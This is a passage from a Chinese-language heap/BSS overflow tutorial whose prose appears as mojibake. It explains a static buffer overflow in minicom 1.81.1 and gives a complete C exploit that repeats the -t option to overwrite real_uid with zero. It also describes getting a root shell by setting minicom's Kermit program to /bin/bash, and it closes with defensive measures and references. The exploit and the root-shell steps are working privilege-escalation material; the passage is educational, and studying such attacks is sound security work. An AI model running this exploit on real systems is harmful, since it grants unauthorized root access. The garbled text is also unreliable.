  941. ╧╓╘┌╬╥├╟└┤┐┤╥╗╕÷╒µ╩╡╡─└²╫╙íú░µ▒╛╡═╙┌1.81.1╡─minicom╙╨▓╗╔┘╗║│σ╟°╥τ│÷╡─┬⌐╢┤íú
  942. ╞Σ╓╨╥╗╕÷╩╟:
  943.                 case 't': /* Terminal type */
  944. ╥τ│÷ --->                    strcpy(termtype, optarg);
  945.         #ifdef __linux__
  946.                         /* Bug in older libc's (< 4.5.26 I think) */
  947.                         if ((s = getenv("TERMCAP")) != NULL && *s != '/')
  948.                                 unsetenv("TERMCAP");
  949.         #endif
  950. termtype╩╟static╨═╡─╩²╫Θú¼╥▓╛═╩╟╘┌BSS╟°íú╧╓╘┌╬╥├╟┐┤┐┤╩╟╖±╒Γ┐Θ─┌┤µ╓╨╙╨╩▓├┤╓╪╥¬
  951. ╡─╢½╬≈íú╘┌minicom.h╓╨ú¼╬╥├╟┐┤╡╜┴╦:
  952.  
  953.     EXTERN int real_uid;    /* ╒µ╩╡╡─╙├╗ºid */
  954.     EXTERN int real_gid;    /* ╒µ╩╡╡─╫Θid */
  955.     EXTERN int eff_uid;     /* ╙╨╨º╡─╙├╗ºid */
  956.     EXTERN int eff_gid;     /* ╙╨╨º╡─╫Θid */
  957. ╚τ╣√╬╥├╟─▄╣╗╨▐╕─real_uid,─╟╬╥├╟╛═┐╔─▄╗±╡├root╡─╠╪╚¿íú╧╚╚├╬╥├╟┐┤┐┤
  958. ╦ⁿ└δtermtype╙╨╢α╘▒ú¼╬╥├╟╘┌minicom.c╓╨▓σ╚δ╥╗╨╨┤·┬δú║
  959.  
  960.     printf ("real_uid is at: %x\n"
  961.         "termtype is at: %x\n", &real_uid,termtype);
  962.  
  963. ╩Σ│÷╜ß╣√╚τ╧┬:
  964.     real_uid is at: 80664b4
  965.     termtype is at: 8066480
  966.  
  967. ║▄║├ú¼real_uid╡─╡╪╓╖▒╚termtype╕▀52╕÷╫╓╜┌.╬╥├╟╓╗╥¬╜½╡┌53,54,55,56╫╓╜┌╕│╬¬0╝┤┐╔.
  968. ╡½╫╓╖√┤«╓╨╓╗╙╨╫ε║≤╥╗╕÷╫╓╜┌(╓╒╓╣╖√)▓┼─▄╬¬0ú¼╦∙╥╘╬╥├╟▓╗╡├▓╗╓┤╨╨4┤╬╕▓╕╟íú
  969. getopg()┐╔╥╘╓╪╕┤╡─╢┴╚í╥╗╕÷▓╬╩²(╒Γ└∩╩╟ 
  970. -t),╥≥┤╦╬╥├╟╧╚╚├╦ⁿ╢┴╚ítermtype+55│ñ╡─╫╓
  971. ╖√┤«,╒Γ╜½╩╣realid╡─╫ε║≤╥╗╕÷╫╓╜┌╬¬0íú╚╗║≤╥└┤╬╙├termtype+54,termtype+53,termtyp
  972. e+52└┤╕▓╕╟íú╒Γ╤∙╛═╗ß╩╣realid╡─╦─╕÷╫╓╜┌╢╝▒Σ│╔0┴╦íú
  973.  
  974. ----------------------------------------------------------------------------
  975. #include <stdio.h>
  976. #include <string.h>
  977. #include <unistd.h>
  978.  
  979. #define OFFSET          52
  980.  
  981. /* if you figure this out, you could try defining it */
  982. //#define UTTY "/dev/ttyp0"
  983.  
  984. char * makestring (int ch, int len)
  985. {
  986.         static char b[500];
  987.         int     i;
  988.  
  989.         for (i=0 ; i<len ; i++)
  990.         {
  991.                 b[i] = ch;
  992.         }
  993.         b[i] = 0;
  994.         return b;
  995. }
  996.  
  997. int main (int argc, char **argv)
  998. {
  999.         char    bleh[4][60];
  1000.  
  1001.         strcpy (bleh[0],makestring(255,OFFSET+3));/* 
  1002. ╬¬┴╦╕▓╕╟termtype+55┤ª╡─╫╓╜┌*/
  1003.         strcpy (bleh[1],makestring(255,OFFSET+2));/* 
  1004. ╬¬┴╦╕▓╕╟termtype+54┤ª╫╓╜┌*/
  1005.         strcpy (bleh[2],makestring(255,OFFSET+1));/* 
  1006. ╬¬┴╦╕▓╕╟termtype+53┤ª╫╓╜┌*/
  1007.         strcpy (bleh[3],makestring(255,OFFSET));  /* 
  1008. ╬¬┴╦╕▓╕╟termtype+52┤ª╫╓╜┌*/
  1009.  
  1010. #ifdef UTTY
  1011.         execl ("/usr/bin/minicom","minicom",
  1012.         "-t",bleh[0],"-t",bleh[1],
  1013.         "-t",bleh[2],"-t",bleh[3],
  1014.         "-t","vt100","-s",
  1015.         "-p",UTTY,NULL);
  1016. #else
  1017.         execl ("/usr/bin/minicom","minicom",
  1018.         "-t",bleh[0],"-t",bleh[1],
  1019.         "-t",bleh[2],"-t",bleh[3],
  1020.         "-t","vt100",
  1021.         "-s",NULL);
  1022. #endif
  1023.         return 0;
  1024. }
  1025. -------------------------------------------------------------------------------
  1026.  
  1027. ╦∙╥╘╧╓╘┌real_uid▒Σ│╔┴╦0x00000000 (root)
  1028. ╬╥├╟┐╔╥╘═¿╣²minicom└┤╓┤╨╨╥╗╕÷root 
  1029. shell.╘┌╓┤╨╨┴╦╔╧╩÷┤·┬δ╥╘║≤ú¼─π╗ß╖ó╧╓minicom
  1030. ╡─╧╘╩╛▒Σ│╔┬╥╫╓╖√┴╦íú╬╥├╟┐╔╥╘╘┌┴φ╥╗╕÷╓╒╢╦╓╪╨┬╞≡╥╗╕÷minicom,┐┤╥╗╧┬╦ⁿ╡─▓╦╡Ñú¼╤í╘±
  1031. `Filenames and paths':
  1032.  
  1033. A - Download directory : /tmp
  1034. B -   Upload directory :
  1035. C -   Script directory :
  1036. D -     Script program : runscript
  1037. E -     Kermit program : /usr/bin/kermit
  1038.     Change which setting?
  1039.  
  1040. ╬╥├╟╓╗╥¬╜½`E- Kermit program' 
  1041. ╓╨╡─/usr/bin/kermit╕─│╔/bin/bash,╬╥├╟╛═┐╔╥╘╗±╡├
  1042. ╥╗╕÷root shell┴╦íú╟╨╗╗╗╪╘¡╧╚╡─╓╒╢╦ú¼╨▐╕─'E'╧εú¼╚╗║≤░┤CTRL+A+K╞⌠╢»kermit,
  1043. bash#
  1044.  
  1045. ╒Γ╩╟heap/BSS╥τ│÷╡─╥╗╕÷╩╡└²íú╒Γ╤∙╡─└²╫╙╒²╘┌╓≡╜Ñ╡╪╘÷╝╙ú¼╟░▓╗╛├CERT╣½▓╝╡─wuftp 
  1046. 2.
  1047. 5.0╡─mapped_path┬⌐╢┤╛═╩╟╥╗╕÷heap╥τ│÷(longjmp/setjmp)╡─╨┬└²╫╙,╙╨╨╦╚ñ╡─┐╔╥╘╫╘╝║
  1048. ┐┤╥╗╧┬íú
  1049.  
  1050. ╦─. ┐╔─▄╡─╜Γ╛÷╖╜╖¿
  1051. ~~~~~~~~~~~~~~~~~~
  1052. ║▄├≈╧╘,╖└╓╣╗∙╙┌heap╡─╥τ│÷╡─╫ε╝╤╖╜╖¿╛═╩╟▒α╨┤╙┼╨π╡─┤·┬δ!═¼╢╤╒╗╥τ│÷╥╗╤∙,▓ó├╗╙╨╥╗
  1053. ╓╓╖╜╖¿─▄╒µ╒²╖└╓╣heap╥τ│÷.
  1054. ╬╥├╟┐╔╥╘╩╣╙├Richard Jones║═Paul 
  1055. Kelly┐¬╖ó╡─┤°▒▀╜τ╝∞▓Θ╡─gcc/egcs(╦ⁿ╙ª╕├┐╔╥╘╝∞▓Θ
  1056. ┤≤▓┐╖╓╡─╟▒╘┌╡─╥τ│÷╬╩╠Γ).╒Γ╕÷│╠╨≥┐╔╥╘┤╙Richard Jone╡─╓≈╥│╔╧╧┬╘╪:
  1057.         http://www.annexia.demon.co.uk
  1058. ╦ⁿ─▄╝∞▓Θ┤≤╢α╩²╙╔╙┌╚╦╬¬╡─╩Φ║÷╢°╡╝╓┬╡─╥τ│÷.└²╚τ:
  1059. "int array[10];
  1060. for (i = 0; i <= 10; i++) array[i] = 1".
  1061.  
  1062. ╫ó╥Γ:
  1063.     ╢╘╙┌Windows╧╡═│,┐╔╥╘╙├NuMega╡─▒▀╜τ╝∞▓Θ│╠╨≥.╦ⁿ╡─╣ª─▄║═┤°▒▀╜τ╝∞▓Θ╡─gcc
  1064.     └α╦╞.
  1065.  
  1066. ╬╥├╟╫▄╩╟┐╔╥╘╫÷╥╗╕÷▓╗┐╔╓┤╨╨heap╡─patch(╛═╧δ╟░├µ╦∙╠ß╡╜╡─,┤≤╢α╩²╧╡═│╢╝╙╨╥╗╕÷┐╔╓┤╨╨
  1067. ╡─heap).╘┌║═Solar 
  1068. Designer╜╗╗╗╥Γ╝√╥╘║≤,╦√╠ß╡╜▓╗┐╔╓┤╨╨heap╡─╓≈╥¬╬╩╠Γ╩╟┐╔─▄╗ß╙░╧∞
  1069. ╡╜▒α╥δ╞≈,╜Γ╩═╞≈╡╚╡╚
  1070.  
  1071. ╫ó╥Γ:
  1072.  
  1073.    
  1074. ╝┤╩╣╥╗╕÷heap▓╗┐╔╓┤╨╨,╥▓▓ó▓╗─▄╜Γ╛÷╥τ│÷╡─╬╩╠Γ.╥≥╬¬╛í╣▄╬╥├╟▓╗─▄╘┌heap╓┤╨╨╓╕┴ε.
  1075.    ╬╥├╟╚╘╚╗┐╔╥╘╕▓╕╟╘┌heap╓╨╡─╩²╛▌.(╛═╧≤╟░├µminicom╡─└²╫╙)
  1076.  
  1077. ┴φ╥╗╕÷┐╔─▄╡─╖╜╖¿╛═╩╟╫÷╥╗╕÷"HeapGuard",└α╦╞Crispin 
  1078. Cowan╡─StackGuard.╦√├╟╥╤╛¡┐¬
  1079. ╖ó┴╦╥╗╕÷╨┬╡─PointGuard,╙├└┤╖└╓╣║»╩²╓╕╒δ╡─╥τ│÷╥╘╝░jmpbuf╡─╥τ│÷,╛▌│╞╛¡╣²┼Σ╓├╥▓┐╔
  1080. ╥╘╖└╓╣stack/heap/bss╓╨▒Σ┴┐╡─╖╟╖¿╕▓╕╟.╧Ω╧╕╫╩┴╧┐╔╥╘▓╬┐┤╦√├╟╨┬╖ó▒φ╡─╬─╒┬:
  1081. <<Buffer Overflows: Attacks and Defenses for the Vulnerability of the 
  1082. Decade>>
  1083.  
  1084. <═Ω>
  1085.  
  1086.  
  1087. ▓╬┐╝╬─╧╫:
  1088.  
  1089. [1] <<w00w00 on Heap Overflows>>  by Matt Conover (a.k.a. Shok) & w00w00 
  1090. Security Team
  1091. [2] <<Buffer Overflows: Attacks and Defenses for the Vulnerability of the 
  1092. Decade>>
  1093.      by Crispin Cowan, Perry Wagle, Calton Pu,Steve Beattie, and Jonathan 
  1094. Walpole
  1095. [3] <<a fuqn awesome minicom static buffer overflow>>. "ohday" . B4B0,3(9)
  1096. [4] <<Smashing The Stack For Fun And Profit>>. "Aleph One". Phrack, 7(49)
  1097.  
  1098.  
  1099.